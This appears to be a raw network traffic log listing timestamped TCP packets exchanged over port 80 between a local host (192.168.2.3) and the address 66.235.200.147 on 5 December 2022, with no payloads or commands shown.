Dec 5, 2022 06:44:36.500886917 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.500901937 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.500904083 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.500922918 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.500931978 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.500941038 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.500948906 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.500960112 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.500966072 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.500979900 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.500981092 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.500998020 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.500998974 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.501019001 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.501025915 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.501038074 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.501040936 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.501056910 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.501059055 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.501075029 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.501077890 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.501092911 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.501095057 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.501113892 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.501118898 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.501130104 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.501131058 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.501149893 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.501152039 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.501168013 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.501177073 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.501185894 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.501193047 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.501204967 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.501205921 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.501224041 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.501228094 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.501241922 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.501251936 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.501259089 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.501266003 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.501277924 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.501283884 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.501296043 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.501297951 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.501313925 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.501315117 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.501332045 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.501343966 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.501349926 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.501359940 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.501370907 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.501375914 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.501394033 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.501399040 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.501411915 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.501416922 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.501429081 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.501431942 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.501450062 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.501466036 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.501466990 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.501482010 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.501487017 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.501504898 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.501509905 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.501523018 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.501537085 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.501540899 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.501559019 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.501564026 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.501575947 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.501576900 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.501590967 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.501596928 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.501611948 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.501616001 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.501626968 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.501635075 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.501640081 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.501652002 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.501652956 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.501671076 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.501682997 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.501688957 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.501701117 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.501708031 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.501718998 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.501728058 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.501734972 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.501746893 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.501749992 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.501765013 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.501784086 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.501796961 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.501801014 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.501815081 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.501818895 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.501837015 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.501847029 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.501854897 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.501868963 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.501873970 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.501888990 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.501893044 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.501904011 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.501912117 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.501921892 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.501931906 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.501936913 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.501949072 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.501956940 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.501966953 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.501971960 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.501986027 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.501998901 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.502003908 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.502016068 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.502022982 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.502032042 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.502043009 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.502044916 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.502058983 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.502062082 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.502082109 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.502089024 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.502100945 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.502100945 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.502119064 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.502120018 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.502137899 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.502144098 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.502155066 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.502156973 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.502178907 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.502181053 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.502194881 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.502197981 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.502217054 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.502233982 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.502243042 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.502254009 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.502266884 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.502273083 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.502285957 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.502291918 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.502301931 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.502310991 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.502315044 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.502330065 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.502335072 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.502348900 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.502350092 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.502368927 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.502376080 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.502387047 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.502388000 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.502405882 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.502407074 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.502429008 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.502429962 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.502446890 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.502459049 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.502465010 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.502484083 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.502490997 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.502501965 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.502515078 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.502521038 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.502537966 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.502540112 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.502549887 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.502557039 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.502573013 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.502573967 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.502583981 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.502593040 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.502605915 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.502609968 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.502618074 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.502629995 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.502641916 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.502648115 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.502659082 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.502666950 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.502676010 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.502687931 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.502691031 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.502706051 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.502708912 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.502723932 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.502731085 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.502742052 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.502749920 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.502759933 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.502768993 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.502778053 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.502784014 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.502794981 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.502798080 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.502815008 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.502830982 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.502830982 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.502832890 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.502851963 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.502852917 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.502868891 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.502875090 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.502890110 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.502914906 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.502933025 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.502933979 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.502953053 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.502969980 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.502978086 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.502989054 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.503006935 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.503009081 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.503024101 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.503026962 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.503042936 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.503046036 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.503057957 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.503065109 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.503082991 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.503083944 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.503094912 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.503103018 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.503108025 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.503122091 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.503130913 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.503139973 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.503144979 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.503158092 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.503160954 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.503180027 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.503185034 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.503196955 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.503197908 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.503216982 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.503225088 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.503236055 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.503236055 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.503256083 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.503262043 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.503273964 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.503283024 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.503292084 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.503293991 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.503310919 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.503310919 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.503330946 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.503334999 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.503350973 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.503354073 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.503362894 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.503370047 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.503388882 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.503391981 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.503405094 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.503408909 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.503427982 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.503428936 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.503447056 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.503454924 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.503465891 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.503465891 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.503487110 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.503492117 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.503505945 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.503506899 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.503524065 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.503530025 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.503540993 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.503542900 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.503561974 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.503561974 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.503580093 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.503586054 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.503597975 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.503599882 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.503618002 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.503628016 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.503637075 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.503644943 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.503655910 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.503659964 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.503675938 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.503676891 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.503695965 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.503700018 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.503715992 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.503717899 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.503735065 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.503741026 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.503755093 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.503755093 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.503772974 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.503788948 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.503793001 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.503812075 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.503829002 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.503829956 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.503849983 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.503859043 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.503868103 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.503871918 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.503887892 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.503901958 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.503907919 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.503917933 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.503927946 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.503935099 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.503947020 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.503957033 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.503967047 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.503978968 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.503987074 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.503990889 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.504004002 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.504005909 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.504024982 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.504029036 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.504045010 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.504045963 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.504060984 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.504064083 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.504082918 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.504096985 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.504103899 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.504112005 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.504122972 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.504133940 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.504142046 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.504148006 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.504173040 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.504182100 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.504192114 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.504194021 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.504205942 CET	49704	80	192.168.2.3	66.235.200.147
